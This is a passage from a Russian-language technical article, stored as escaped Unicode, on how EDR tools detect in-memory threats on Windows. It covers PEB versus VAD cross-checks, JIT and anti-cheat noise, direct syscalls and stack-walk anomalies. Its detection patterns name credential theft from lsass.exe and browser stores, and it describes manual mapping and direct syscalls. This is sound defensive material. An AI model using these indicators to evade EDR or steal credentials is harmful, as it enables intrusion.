\u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u044f, \u043d\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u043e \u0432 \u0434\u0440\u0443\u0433\u043e\u043c.\n\n2. PEB \u043f\u0440\u043e\u0442\u0438\u0432 VAD: \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f\n2.1. PEB \u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u201c\u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0438\u044f\u201d \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430\n\u0412 user-mode \u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0435\u0441\u0442\u044c PEB, \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f PEB_LDR_DATA. \u0422\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a Windows \u0432\u0435\u0434\u0451\u0442 \u0441\u043f\u0438\u0441\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439:\n\nPEB\n \u2514\u2500\u2500 Ldr\n      \u251c\u2500\u2500 InLoadOrderModuleList\n      \u251c\u2500\u2500 InMemoryOrderModuleList\n      \u2514\u2500\u2500 InInitializationOrderModuleList\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f:\n\nbase address\nimage size\nfull DLL path\nbase DLL name\nload order links\ninitialization state\n\u042d\u0442\u043e \u0443\u0434\u043e\u0431\u043d\u043e, \u043d\u043e \u0432\u0430\u0436\u043d\u043e: PEB \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 user-mode address space \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0415\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u0440\u0442\u0438\u0442\u044c, \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0442\u0446\u0435\u043f\u0438\u0442\u044c \u043e\u0442 \u043d\u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044c.\n\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f EDR PEB \u2014 \u043d\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0438\u0441\u0442\u0438\u043d\u0430, \u0430 \u0441\u043a\u043e\u0440\u0435\u0435:\n\n\u201c\u0427\u0442\u043e \u0441\u0430\u043c user-mode loader \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435\u201d\n2.2. VAD \u2014 \u044f\u0434\u0435\u0440\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430\nVAD, Virtual Address Descriptor, \u2014 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u044f\u0434\u0440\u0430, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u0440\u0435\u0433\u0438\u043e\u043d\u044b \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\n\u0423\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u043e VAD \u0433\u043e\u0432\u043e\u0440\u0438\u0442:\n\naddress range\nallocation type\nprotection\ncommit state\nbacking file / section object\nimage mapping or private allocation\ncopy-on-write state\n\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438:\n\nMEM_IMAGE    \u2192 \u043e\u0431\u0440\u0430\u0437 PE, \u0437\u0430\u043c\u0430\u043f\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043a image section\nMEM_MAPPED   \u2192 file mapping / section mapping\nMEM_PRIVATE  \u2192 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\n\u0415\u0441\u043b\u0438 PEB \u2014 \u044d\u0442\u043e \u201c\u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430\u201d, \u0442\u043e VAD \u2014 \u044d\u0442\u043e \u201c\u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0433\u043b\u0430\u0437\u0430\u043c\u0438 \u044f\u0434\u0440\u0430\u201d.\n\n3. \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f PEB/VAD\nEDR \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0442\u0440\u043e\u0438\u0442 \u0434\u0432\u0435 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\n3.1. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0437 PEB\nModule list:\n  ntdll.dll         base A, size X\n  kernel32.dll      base B, size Y\n  kernelbase.dll    base C, size Z\n  user32.dll        base D, size W\n3.2. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u0438\u0437 VAD\nVAD ranges:\n  A-A+X  MEM_IMAGE  \\SystemRoot\\System32\\ntdll.dll\n  B-B+Y  MEM_IMAGE  \\SystemRoot\\System32\\kernel32.dll\n  C-C+Z  MEM_IMAGE  \\SystemRoot\\System32\\kernelbase.dll\n  E-E+Q  MEM_IMAGE  \\Users\\...\\weird.dll\n  F-F+R  MEM_PRIVATE RX/RWX, starts with MZ\n\u0414\u0430\u043b\u044c\u0448\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435:\n\nPEB module exists but no matching VAD image region\nVAD image region exists but no matching PEB module\nVAD region backed by DLL path but not loader-registered\nMEM_PRIVATE executable region contains PE headers\nexecutable region has no known module owner\n4. \u041a\u0430\u043a\u0438\u0435 PEB/VAD \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438\n4.1. VAD \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 MEM_IMAGE, \u043d\u043e PEB \u043c\u043e\u043b\u0447\u0438\u0442\n\u042d\u0442\u043e \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b:\n\nThere is an image-mapped module in memory,\nbut the loader module lists do not contain it.\n\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\n\nmodule unlinking\nmanual loader tricks\nnonstandard section mapping\nsecurity tool / anti-cheat / DRM\n\u0421\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043d\u0435 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439, \u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0439.\n\n4.2. MEM_PRIVATE + RX/RWX + MZ/PE headers\n\u041e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0438\u043b\u044c\u043d\u044b\u0445 in-memory indicators:\n\nregion type: MEM_PRIVATE\nprotection: executable\ncontent: PE-like structure\nPEB entry: absent\nimage load event: absent\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e:\n\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0435 DLL \u043e\u0431\u044b\u0447\u043d\u043e \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a MEM_IMAGE;\n\u0440\u0443\u0447\u043d\u043e\u0439 PE loader \u0447\u0430\u0441\u0442\u043e \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e;\n\u0441\u0435\u043a\u0446\u0438\u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0435 allocations;\nWindows loader \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 PEB-\u0437\u0430\u043f\u0438\u0441\u0438;\nPsSetLoadImageNotifyRoutine \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u043e\u0431\u044b\u0447\u043d\u044b\u0439 image-load \u043f\u0443\u0442\u044c.\n\u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f EDR:\n\n\u201c\u0423 \u043c\u0435\u043d\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0435\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 PE, \u043d\u043e \u041e\u0421-\u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043e \u043d\u0451\u043c \u043d\u0435 \u0437\u043d\u0430\u0435\u0442.\u201d\n4.3. \u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u0431\u0435\u0437 backing file\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430:\n\nMEM_PRIVATE\nPAGE_EXECUTE_READ / PAGE_EXECUTE_READWRITE\nno file object\nno signature\nno PE metadata\nhigh entropy\nrecently written\nthread starts inside it\n\u0422\u0430\u043a\u043e\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c:\n\nJIT code\nshellcode\nunpacked payload\ndecompressed code\nDRM VM\nanti-cheat stub\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u044b\u0439 \u0441\u043a\u043e\u0440\u0438\u043d\u0433.\n\n5. JIT-\u043a\u043e\u0434: \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0448\u0443\u043c\u0438\u0442 \u0438 \u043a\u0430\u043a EDR \u0435\u0433\u043e \u043d\u0435 \u043f\u0443\u0442\u0430\u0435\u0442 \u0441\u043e \u0432\u0441\u0435\u043c \u043f\u043e\u0434\u0440\u044f\u0434\nJIT \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430. V8, Chakra, .NET CLR, JVM, WebAssembly runtime, regex JIT \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0433\u0440\u043e\u0432\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u0430\u044f JIT-\u043a\u0430\u0440\u0442\u0438\u043d\u0430:\n\nMEM_PRIVATE\nRW \u2192 RX transitions\nsometimes RWX\nno backing PE file\nexecution from heap-like regions\nfrequent code generation\n\u041d\u0430\u0438\u0432\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u201cMEM_PRIVATE + RX = malware\u201d \u0443\u043c\u0435\u0440\u043b\u043e \u0431\u044b \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.\n\n5.1. \u041a\u0430\u043a EDR \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0451\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\n\u041e\u043d \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0440\u0435\u0433\u0438\u043e\u043d, \u0430 \u043d\u0430 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e.\n\n\u041f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\nchrome.exe / msedge.exe / firefox.exe\nnode.exe\ndotnet.exe\njava.exe\npowershell.exe with CLR loaded\ngame process with known anti-cheat\n\u0417\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 runtime-\u043c\u043e\u0434\u0443\u043b\u0438\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\nv8.dll\nchakra.dll\nclr.dll\ncoreclr.dll\njvm.dll\nwasmtime / wasm runtime\n\u041f\u0430\u0442\u0442\u0435\u0440\u043d \u0430\u043b\u043b\u043e\u043a\u0430\u0446\u0438\u0439\n\u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u0443\u0437\u043d\u0430\u0432\u0430\u0435\u043c\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c:\n\nallocate code heap\nwrite generated code\nchange protection RW \u2192 RX\nexecute\nperiodically recycle / compact\n\u0423 \u0437\u0440\u0435\u043b\u044b\u0445 runtime \u0435\u0441\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u0441\u0445\u0435\u043c\u044b code heap management. EDR \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0440\u043e\u0438\u0442\u044c baseline \u043f\u043e:\n\n\u0440\u0430\u0437\u043c\u0435\u0440\u0443 \u0440\u0435\u0433\u0438\u043e\u043d\u043e\u0432\n\u0447\u0430\u0441\u0442\u043e\u0442\u0435 transitions\n\u043c\u043e\u0434\u0443\u043b\u044f\u043c-\u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430\u043c\n\u043f\u043e\u0442\u043e\u043a\u0430\u043c-\u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430\u043c\n\u0442\u0438\u043f\u0438\u0447\u043d\u044b\u043c call stacks\n\u043d\u0430\u043b\u0438\u0447\u0438\u044e runtime metadata\n5.2. \u0427\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 suspicious JIT-like \u0440\u0435\u0433\u0438\u043e\u043d\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438:\n\n\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 JIT runtime\n\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 RX/RWX MEM_PRIVATE\n\u0438\u043b\u0438:\n\nJIT \u0435\u0441\u0442\u044c,\n\u043d\u043e sensitive action \u0438\u0434\u0451\u0442 \u043d\u0435 \u0438\u0437 JIT runtime path,\n\u0430 \u0438\u0437 \u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, EDR \u0432\u0438\u0434\u0438\u0442:\n\nwinword.exe\n \u251c\u2500\u2500 loads no known JIT runtime\n \u251c\u2500\u2500 allocates MEM_PRIVATE RWX\n \u251c\u2500\u2500 writes high-entropy bytes\n \u251c\u2500\u2500 starts thread in that region\n \u2514\u2500\u2500 opens lsass.exe / injects into another process\n\u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u201c\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT-\u0448\u0443\u043c\u201d. \u042d\u0442\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430.\n\n6. \u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b, DRM \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0448\u0443\u043c\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 DRM \u2014 \u043e\u0441\u043e\u0431\u0430\u044f \u0431\u043e\u043b\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0438 \u0441\u0430\u043c\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430 EDR \u0438\u043b\u0438 malware:\n\nuser-mode hooks\nkernel callbacks\nhandle filtering\ncode integrity checks\npacked modules\nanti-debug\nmanual mappings\nguarded memory\nthread monitoring\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 EDR \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0442\u0443\u043f\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c:\n\n\u201chooking == bad\u201d\n\u041e\u043d \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\n\n6.1. \u041a\u0430\u043a \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0442 \u0430\u0442\u0430\u043a\u0438\n\u041f\u043e\u0434\u043f\u0438\u0441\u044c \u0438 \u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u044f\nsigned driver\nknown vendor\nknown certificate chain\nknown file hash\nknown product path\nknown service registration\n\u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u043e:\n\nstarts with game launcher\nloads known driver/service\ninjects/monitors known game processes\ncommunicates with known backend\nuses stable named objects/devices\n\u0410\u0442\u0430\u043a\u0430 \u0447\u0430\u0441\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0438\u043d\u0430\u0447\u0435:\n\nlow-prevalence process\nodd parent chain\ntemporary path\nunsigned/untrusted module\nunexpected target process\npost-exploitation sequence\n\u0426\u0435\u043b\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0440\u043e\u0433\u0430\u0435\u0442:\n\ngame process\ngraphics/input stack\nknown protected service\nits own ecosystem\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0435\u0441\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430:\n\nbrowser credential stores\nlsass.exe\nsecurity tools\noffice child processes\ndomain tooling\nremote process memory\n7. Direct Syscalls: \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 PEB/VAD/\u0441\u0442\u0435\u043a\u043e\u043c\n\u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0438\u0434\u0435\u044f EDR:\n\nsensitive kernel event happened\n\u2192 reconstruct user-mode origin\n\u2192 verify expected call chain\n\u041e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\napplication module\n \u2192 kernelbase.dll / advapi32.dll / user32.dll\n \u2192 ntdll.dll!NtXxx\n \u2192 syscall\n \u2192 kernel\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\napplication module\n \u2192 MEM_PRIVATE RX\n \u2192 syscall\n \u2192 kernel\n\u0438\u043b\u0438:\n\napplication module\n \u2192 manually mapped module\n \u2192 syscall\n \u2192 kernel\n\u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b EDR:\n\n\u0413\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 syscall instruction?\n\u0413\u0434\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f return address?\n\u0412 \u043a\u0430\u043a\u043e\u043c VAD-\u0440\u0435\u0433\u0438\u043e\u043d\u0435 \u044d\u0442\u043e\u0442 \u0430\u0434\u0440\u0435\u0441?\n\u0415\u0441\u0442\u044c \u043b\u0438 \u044d\u0442\u043e\u0442 \u0440\u0435\u0433\u0438\u043e\u043d \u0432 PEB?\n\u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0440\u0435\u0433\u0438\u043e\u043d\u0430 backing file?\n\u0415\u0441\u0442\u044c \u043b\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f PE/unwind metadata?\n\u0415\u0441\u0442\u044c \u043b\u0438 image-load event?\n\u0415\u0441\u0442\u044c \u043b\u0438 user-mode hook telemetry?\n8. \u0410\u043d\u043e\u043c\u0430\u043b\u0438\u0438 stack walking\nStack walking \u0432 EDR \u2014 \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u201c\u0432\u044b\u0432\u0435\u0441\u0442\u0438 backtrace\u201d. \u042d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n8.1. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e ntdll frame\n\u0414\u043b\u044f sensitive syscall \u043e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0432 \u044f\u0434\u0440\u043e \u0435\u0441\u0442\u044c:\n\nntdll.dll!NtXxx\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nkernel event \u0435\u0441\u0442\u044c,\n\u0430 frame \u0438\u0437 ntdll \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\n\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 syscall origin \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432:\n\nMEM_PRIVATE RX/RWX\nmanual-mapped module\nunknown executable region\nmodule not in PEB\n8.2. Return address \u0432\u043d\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e image-backed \u043a\u043e\u0434\u0430\nEDR \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 return address:\n\nreturn address\n \u2192 VAD region\n \u2192 region type\n \u2192 module ownership\n \u2192 protection\n \u2192 backing file\n \u2192 signature\n\u0421\u0438\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u044b:\n\nreturn address \u2208 MEM_PRIVATE executable\nreturn address \u2208 MEM_MAPPED but not loader module\nreturn address \u2208 page with recent write\nreturn address \u2208 region without PE headers\nreturn address \u2208 region with high entropy\n8.3. \u041d\u0435\u0432\u0430\u043b\u0438\u0434\u043d\u0430\u044f x64 unwind-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\n\u041d\u0430 x64 Windows \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 unwind relies on:\n\n.pdata \u2192 RUNTIME_FUNCTION\n.xdata \u2192 UNWIND_INFO\n\u0414\u043b\u044f \u043d\u0435\u043b\u0438\u0441\u0442\u043e\u0432\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n\n\u0433\u0434\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b nonvolatile registers\n\u043a\u0430\u043a \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f RSP\n\u043a\u0430\u043a\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 stack allocation\n\u0435\u0441\u0442\u044c \u043b\u0438 chained unwind info\nEDR \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c:\n\n\u0430\u0434\u0440\u0435\u0441 frame \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c RUNTIME_FUNCTION\nUNWIND_INFO \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0438\nprologue/epilogue \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\nRSP \u043f\u043e\u0441\u043b\u0435 unwind \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0442\u0435\u043a\u0430 \u043f\u043e\u0442\u043e\u043a\u0430\nreturn address \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 call-site\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nframe points to code without unwind metadata\nunwind produces impossible RSP\nreturn address lands in middle of instruction\nreturn address lands after jmp/call-inconsistent site\nsaved registers do not match unwind description\nstack pointer leaves TEB stack bounds\n8.4. Stack pivot\nStack pivot \u2014 \u044d\u0442\u043e \u043a\u043e\u0433\u0434\u0430 RSP \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u0443\u0434\u0430, 